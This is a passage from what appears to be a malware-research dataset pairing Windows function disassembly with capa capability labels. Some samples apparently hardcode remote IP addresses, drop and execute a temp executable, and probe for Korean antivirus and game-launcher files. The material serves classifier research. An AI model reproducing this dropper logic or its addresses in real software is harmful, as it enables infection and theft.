joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4677f0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x50c
mov eax, dword [0x486d80]
xor eax, esp
mov dword [esp + 0x508], eax
push ebp
mov ebp, dword [esp + 0x514]
test edi, edi
je 0x46796d
cmp ebp, 0x20
jb 0x46796d
push 0x400
lea eax, [esp + 0x110]
push 0
push eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0x400
call fcn.0044efc0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0x10]
push eax
push 0x477ccc
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x46796d
lea eax, [esp + 0x10c]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x467880
sub eax, edx
cmp eax, 0x40
jne 0x46796d
push ebx
lea edx, [eax + 0x40]
push esi
lea eax, [esp + 0x14]
lea esi, [esp + 0x114]
mov ecx, eax
sub esi, ecx
lea ecx, [edx - 0x60]
test ecx, ecx
je 0x4678be
mov cl, byte [esi + eax]
test cl, cl
je 0x4678be
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x4678a6
jmp 0x4678c2
test edx, edx
jne 0x4678c3
dec eax
mov byte [eax], 0
lea eax, [esp + 0x94]
lea edx, [esp + 0x134]
mov ecx, eax
mov esi, 0x80
sub edx, ecx
lea ecx, [ecx]
lea ecx, [esi + 0x7fffff7e]
test ecx, ecx
je 0x4678fb
mov cl, byte [edx + eax]
test cl, cl
je 0x4678fb
mov byte [eax], cl
inc eax
sub esi, 1
jne 0x4678e0
jmp 0x4678ff
test esi, esi
jne 0x467900
dec eax
push 0x400
lea edx, [esp + 0x118]
push 0
push edx
mov byte [eax], 0
call fcn.0044efc0
push 0x400
lea ebx, [esp + 0x124]
lea ecx, [esp + 0x24]
call fcn.004669f0
add esp, 0x10
lea eax, [esp + 0x94]
push eax
mov ecx, ebx
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
pop esi
pop ebx
test eax, eax
jne 0x46796d
lea edx, [esp + 0xc]
push edx
push ebp
push edi
call fcn.004668f0
neg eax
sbb eax, eax
inc eax
pop ebp
mov ecx, dword [esp + 0x508]
xor ecx, esp
call fcn.0044efac
add esp, 0x50c
ret
mov ecx, dword [esp + 0x50c]
pop ebp
xor ecx, esp
xor eax, eax
call fcn.0044efac
add esp, 0x50c
ret

Function at 0x467990
Capabilities:
Set registry value

Disassembly:
sub esp, 0x188
mov eax, dword [0x486d80]
xor eax, esp
mov dword [esp + 0x184], eax
push ebx
push esi
push 0x80
lea eax, [esp + 0xc]
push 0
push eax
mov esi, ecx
call fcn.0044efc0
push 0x80
lea ebx, [esp + 0x18]
mov ecx, esi
call fcn.004669f0
lea eax, [esp + 0x98]
mov ecx, eax
add esp, 0x10
mov edx, 0x104
sub esi, ecx
lea esp, [esp]
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x4679fb
mov cl, byte [esi + eax]
test cl, cl
je 0x4679fb
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x4679e0
jmp 0x4679ff
test edx, edx
jne 0x467a00
dec eax
lea edx, [esp + 8]
push edx
mov byte [eax], 0
push 0x104
lea eax, [esp + 0x90]
push eax
call fcn.00466960
lea eax, [esp + 0x88]
pop esi
lea edx, [eax + 1]
pop ebx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x467a26
sub eax, edx
push eax
lea ecx, [esp + 0x84]
push ecx
push 1
push 0x477ccc
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.0044efac
add esp, 0x188
ret
Function at 0x2f2ae0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x308038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test edi, edi
je 0x2f2c03
test esi, esi
je 0x2f2c03
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x2f2b10
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x2f2c05
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.002f9200
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x2f2b7f
cmp dword [0x308f08], 3
jne 0x2f2b7f
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [0x302020]
push str.sr_SP_Latn
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.002f57bb
add esp, 0xc
jmp 0x2f2b91
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [0x30201c]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.002f57bb
push 0x306aa8
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], 0
call fcn.002f59b2
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x2f2c03
push eax
push 1
push 0x200
push edi
call fcn.002f5c84
push dword [ebp - 0x210]
call fcn.002f5d9c
add esp, 0x14
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.002f561a
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.002f561a
mov esp, ebp
pop ebp
ret

Function at 0x2f2cc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x308038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor edx, edx
jmp 0x2f2ce0
not byte [esi + edx]
inc edx
cmp edx, 0x200
jb 0x2f2ce0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.002f9200
add esp, 0xc
mov dword [ebp - 0x214], 0
test esi, esi
je 0x2f2d95
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [0x30201c]
push str.az_AZ_Cyrl
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.002f57bb
push 0x306ae4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.002f59b2
mov eax, dword [ebp - 0x214]
add esp, 0x18
test eax, eax
je 0x2f2d81
push eax
push 1
push 0x200
push esi
call fcn.002f5f6a
push dword [ebp - 0x214]
call fcn.002f5d9c
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.002f561a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.002f561a
mov esp, ebp
pop ebp
ret
Function at 0x2f3fe0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x308038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push str.sma_SE
push ecx
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
call fcn.002f59b2
add esp, 0xc
test eax, eax
je 0x2f4025
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.002f561a
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 2
push 0
push dword [ebp - 8]
call fcn.002f6780
push dword [ebp - 8]
call fcn.002f6b58
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.002f6780
lea eax, [edi + esi]
push eax
mov dword [ebp - 0x10], eax
call fcn.002f6627
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x14], ebx
call fcn.002f5c84
push dword [ebp - 8]
call fcn.002f5d9c
push edi
add ebx, esi
push 0
push ebx
call fcn.002f9200
mov eax, edi
cdq
and edx, 3
add esp, 0x40
lea edi, [edx + eax]
sar edi, 2
call dword [0x30202c]
push eax
call fcn.002f6be3
add esp, 4
xor esi, esi
test edi, edi
jle 0x2f40ad
lea ecx, [ecx]
call fcn.002f6bc0
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jl 0x2f40a0
push 0x306d0c
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.002f59b2
add esp, 0xc
test eax, eax
je 0x2f40d8
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.002f561a
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push 1
push dword [ebp - 0x10]
push esi
call fcn.002f5f6a
push dword [ebp - 8]
call fcn.002f5d9c
add esp, 0x14
test esi, esi
je 0x2f4101
push esi
call fcn.002f66b9
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov eax, 1
pop edi
call fcn.002f561a
mov esp, ebp
pop ebp
ret
Function at 0x2f4120
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x308038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call fcn.002f9200
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.002f9200
push 0x103
lea eax, [ebp - 0x30f]
push 0
push eax
mov byte [ebp - 0x310], 0
call fcn.002f9200
mov ax, word [0x306d1c]
movq xmm0, qword [str.ar_OM]
mov word [ebp - 0x31c], ax
mov al, byte [0x306d1e]
add esp, 0x24
mov byte [ebp - 0x31a], al
lea eax, [ebp - 0x20c]
movq qword [ebp - 0x324], xmm0
push eax
xorps xmm0, xmm0
push 0x104
movq qword [ebp - 0x319], xmm0
mov byte [ebp - 0x311], 0
call dword [0x302040]
lea edx, [ebp - 0x324]
mov esi, edx
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x2f41e0
push edi
lea edi, [ebp - 0x20c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x2f41f1
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x104
lea eax, [ebp - 0x108]
mov ecx, edx
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [0x302044]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.002f6bf3
lea eax, [ebp - 0x310]
push 0x5c
push eax
call fcn.002f64f0
add esp, 0x14
pop edi
test eax, eax
je 0x2f424c
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push str.en_JM
push eax
call fcn.002f6d0c
mov esi, eax
add esp, 8
test esi, esi
je 0x2f43ae
push esi
push 1
push 9
push 0x306d24
call fcn.002f5f6a
push esi
push 1
push 5
push 0x306d30
call fcn.002f5f6a
lea ecx, [ebp - 0x108]
add esp, 0x20
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x2f4294
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x108]
push eax
call fcn.002f5f6a
push esi
push 1
push 2
push str.sms_FI
call fcn.002f5f6a
push esi
push 1
push 0xa
push 0x306d3c
call fcn.002f5f6a
lea ecx, [ebp - 0x108]
add esp, 0x30
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x2f42d7
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x108]
push eax
call fcn.002f5f6a
push esi
push 1
push 0xf
push str.ar_YE
call fcn.002f5f6a
push esi
push 1
push 7
push 0x306d58
call fcn.002f5f6a
lea ecx, [ebp - 0x310]
add esp, 0x30
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x2f4320
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x310]
push eax
call fcn.002f5f6a
push esi
push 1
push 3
push str.es_CO
call fcn.002f5f6a
push esi
push 1
push 5
push 0x306d64
call fcn.002f5f6a
lea ecx, [ebp - 0x20c]
add esp, 0x30
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x2f4363
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x20c]
push eax
call fcn.002f5f6a
push esi
push 1
push 1
push str.smn_FI
call fcn.002f5f6a
push esi
call fcn.002f5d9c
add esp, 0x24
lea eax, [ebp - 0x20c]
push 0
push 0
push 0
push eax
push 0x306d70
push 0
call dword [0x302164]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.002f561a
mov esp, ebp
pop ebp
ret
Function at 0x2f54f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.002fc400
mov eax, dword [0x308038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 4
mov esi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [esi]
mov ebx, edx
mov dword [ebp - 0x100c], esi
call dword [0x3021d4]
cmp eax, 4
je 0x2f5540
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.002f561a
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x2f5590
jmp fcn.002f5550
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push 0x64
push 0x417de0
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x417d18
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.00401200
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x416f10
call fcn.00403690
call fcn.004028a0
test eax, eax
je 0x401071
call fcn.00403f10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401350
test eax, eax
jne 0x401081
xor eax, eax
jmp 0x4011e3
call fcn.00401b90
cmp dword [0x418740], 0
jbe 0x4010bc
movzx eax, word [0x418744]
test eax, eax
jle 0x4010bc
mov ecx, dword [0x418740]
push ecx
mov esi, str.218.54.31.226
call fcn.004046c0
add esp, 4
mov dx, word [0x418744]
mov word [0x416f2c], dx
mov dword [ebp - 0x234], str.tmp5fdr.exe
mov dword [ebp - 0x238], 0x418c78
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x234]
mov dx, word [ecx]
mov word [ebp - 0x23e], dx
mov eax, dword [ebp - 0x238]
mov cx, word [ebp - 0x23e]
mov word [eax], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x238]
add eax, 2
mov dword [ebp - 0x238], eax
cmp word [ebp - 0x23e], 0
jne 0x4010dc
call fcn.00404730
xor ecx, ecx
mov word [ebp - 0x230], cx
push 0x206
push 0
lea edx, [ebp - 0x22e]
push edx
call fcn.00408f50
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x418c78
push 0x104
lea ecx, [ebp - 0x230]
push ecx
call fcn.00405607
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x414424
lea edx, [ebp - 0x230]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401350
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov word [ebp - 0x1e0], ax
push 0x3e
push 0
lea ecx, [ebp - 0x1de]
push ecx
call fcn.00408f50
add esp, 0xc
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x1a0], 0
lea edi, [ebp - 0x1e0]
call fcn.004041c0
lea edx, [ebp - 0x1e0]
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e8], 0x417ea8
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x1e4]
mov dx, word [ecx]
mov word [ebp - 0x1ee], dx
mov eax, dword [ebp - 0x1e8]
mov cx, word [ebp - 0x1ee]
mov word [eax], cx
mov edx, dword [ebp - 0x1e4]
add edx, 2
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x1e8]
add eax, 2
mov dword [ebp - 0x1e8], eax
cmp word [ebp - 0x1ee], 0
jne 0x4013c1
push 0x417ea8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
je 0x40143e
mov ecx, dword [ebp - 0x1a0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4015fd
push 0x417ea8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x401465
xor eax, eax
jmp 0x4015fd
lea edx, [ebp - 0x198]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x418878
call fcn.00402370
add esp, 4
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
jne 0x4015bf
mov dword [ebp - 0x1f4], str.gduer
mov dword [ebp - 0x1f8], 0x418a20
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1fc], eax
mov ecx, dword [ebp - 0x1f4]
mov dx, word [ecx]
mov word [ebp - 0x1fe], dx
mov eax, dword [ebp - 0x1f8]
mov cx, word [ebp - 0x1fe]
mov word [eax], cx
mov edx, dword [ebp - 0x1f4]
add edx, 2
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0x1f8]
add eax, 2
mov dword [ebp - 0x1f8], eax
cmp word [ebp - 0x1fe], 0
jne 0x4014b7
push str.112.175.88.207
push 0x41887c
call fcn.00402300
add esp, 8
push str.AAAA
push 0x4188fe
call fcn.00402320
add esp, 8
push 0x414460
push 0x41891e
call fcn.00402300
add esp, 8
mov ecx, 0x51
mov word [0x4188fc], cx
mov edx, 0x2b8e
mov word [0x41899e], dx
mov dword [ebp - 0x204], str.dosret
mov dword [ebp - 0x208], 0x418a00
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0x204]
mov dx, word [ecx]
mov word [ebp - 0x20e], dx
mov eax, dword [ebp - 0x208]
mov cx, word [ebp - 0x20e]
mov word [eax], cx
mov edx, dword [ebp - 0x204]
add edx, 2
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
cmp word [ebp - 0x20e], 0
jne 0x40156d
mov dword [0x418a40], 5
call fcn.00404260
push 0x414490
call fcn.00404310
add esp, 4
mov dword [0x418740], eax
push 0x418a78
call fcn.00401610
add esp, 4
push 0
push 0
push 0
push 0x4021b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x401960
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
xor eax, eax
mov word [ebp - 0x418], ax
push 0x206
push 0
lea ecx, [ebp - 0x416]
push ecx
call fcn.00408f50
add esp, 0xc
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.00408f50
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
xor edx, edx
mov word [ebp - 0x414], dx
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x418]
push eax
push 0x4144f4
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401a18
mov eax, dword [ebp - 0x41c]
or eax, 1
mov dword [ebp - 0x41c], eax
push str.NEOWIZPMangcommonPMLauncher.exe
lea ecx, [ebp - 0x418]
push ecx
push 0x414544
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401a5a
mov ecx, dword [ebp - 0x41c]
or ecx, 2
mov dword [ebp - 0x41c], ecx
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea edx, [ebp - 0x418]
push edx
push 0x4145e4
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401a9c
mov edx, dword [ebp - 0x41c]
or edx, 4
mov dword [ebp - 0x41c], edx
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x418]
push eax
push 0x414644
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401ae0
mov eax, dword [ebp - 0x41c]
or eax, 0x100
mov dword [ebp - 0x41c], eax
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea ecx, [ebp - 0x418]
push ecx
push 0x4146a4
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401b25
mov ecx, dword [ebp - 0x41c]
or ecx, 0x200
mov dword [ebp - 0x41c], ecx
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea edx, [ebp - 0x418]
push edx
push str._s_s
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401b6a
mov edx, dword [ebp - 0x41c]
or edx, 0x400
mov dword [ebp - 0x41c], edx
mov eax, dword [ebp - 0x41c]
or eax, 0x2000000
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x401fe0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404910
add esp, 8
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x402028
mov eax, dword [ebp - 0x41c]
jmp 0x402197
xor edx, edx
mov word [ebp - 0x418], dx
push 0x206
push 0
lea eax, [ebp - 0x416]
push eax
call fcn.00408f50
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.00408f50
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x402093
mov ecx, dword [ebp - 0x420]
add ecx, 1
mov dword [ebp - 0x420], ecx
cmp dword [ebp - 0x420], 5
jge 0x4020f8
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
movzx eax, word [edx + 0x417ef0]
test eax, eax
jne 0x4020b5
jmp 0x402084
lea ecx, [ebp - 0x418]
push ecx
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.0040567c
add esp, 0xc
mov eax, dword [ebp - 0x420]
imul eax, eax, 0x118
add eax, 0x417ef0
push eax
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.00405607
add esp, 0xc
jmp 0x402084
mov dword [ebp - 0x424], 0
jmp 0x402113
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x424], 5
jge 0x40215c
mov eax, dword [ebp - 0x424]
imul eax, eax, 0x118
movzx ecx, word [eax + 0x417ef0]
test ecx, ecx
jne 0x402135
jmp 0x402104
push 1
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x424]
imul ecx, ecx, 0x118
add ecx, 0x417ef0
call fcn.00405220
add esp, 0xc
jmp 0x402104
push 0x418c78
push 0x104
lea ecx, [ebp - 0x418]
push ecx
call fcn.00405607
add esp, 0xc
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402191
mov dword [ebp - 0x41c], 2
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x402470
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
cmp dword [ebp + 8], 0
je 0x402499
cmp dword [ebp + 0xc], 0
jne 0x4024a3
jmp 0x4025f0
cmp dword [ebp + 0x10], 0
je 0x4024f8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x218], eax
mov ecx, dword [ebp - 0x218]
add ecx, 2
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x218]
mov ax, word [edx]
mov word [ebp - 0x21e], ax
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x4024c1
mov ecx, dword [ebp - 0x218]
sub ecx, dword [ebp - 0x21c]
sar ecx, 1
mov dword [ebp - 0x224], ecx
jne 0x402502
jmp 0x4025f0
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.00408f50
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x40253b
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402583
cmp dword [0x416f10], 3
jne 0x402571
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41427c
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.00405607
add esp, 0xc
jmp 0x402583
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.00405607
add esp, 0xc
mov dword [ebp - 4], 0
push 0x414280
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00405929
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4025c4
jmp 0x4025f0
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00405bba
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.00405c44
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret

Function at 0x4027c0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00408f50
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40280f
cmp dword [ebp + 0xc], 0
jne 0x402813
jmp 0x402888
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.00405607
add esp, 0xc
push 0x4142bc
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00405929
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x40287e
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
